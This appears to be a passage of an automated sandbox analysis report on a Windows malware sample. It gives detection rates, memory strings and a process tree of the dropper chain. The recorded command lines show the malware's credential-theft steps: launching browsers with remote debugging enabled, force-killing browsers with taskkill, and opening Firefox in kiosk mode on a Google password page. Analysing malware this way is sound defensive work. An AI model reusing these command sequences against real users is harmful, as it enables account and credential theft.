Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2807434027.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.2408153676.000000000176B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2490749247.0000000001783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407743319.000000001DA35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2488771877.000000001DA29000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094556596.0000000005513000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094735968.0000000005509000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3079804951.0000000005516000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.00000000054EA000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3267991261.0000000005516000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243392140.0000000005508000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2798693074.000000001DB3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2806129707.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsHDGCAAFBFB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7250ce8e20.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 7250ce8e20.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2224,i,5614877030029270763,4766560353645044380,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2324,i,10852513108120499400,1682595571776890846,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6884 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7052 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCAAFBFB.exe "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe "C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6528 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe "C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe "C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe"
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe "C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe"
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe "C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2224,i,5614877030029270763,4766560353645044380,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2324,i,10852513108120499400,1682595571776890846,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6884 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7052 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6528 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCAAFBFB.exe "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe "C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe "C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe "C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe "C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe "C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
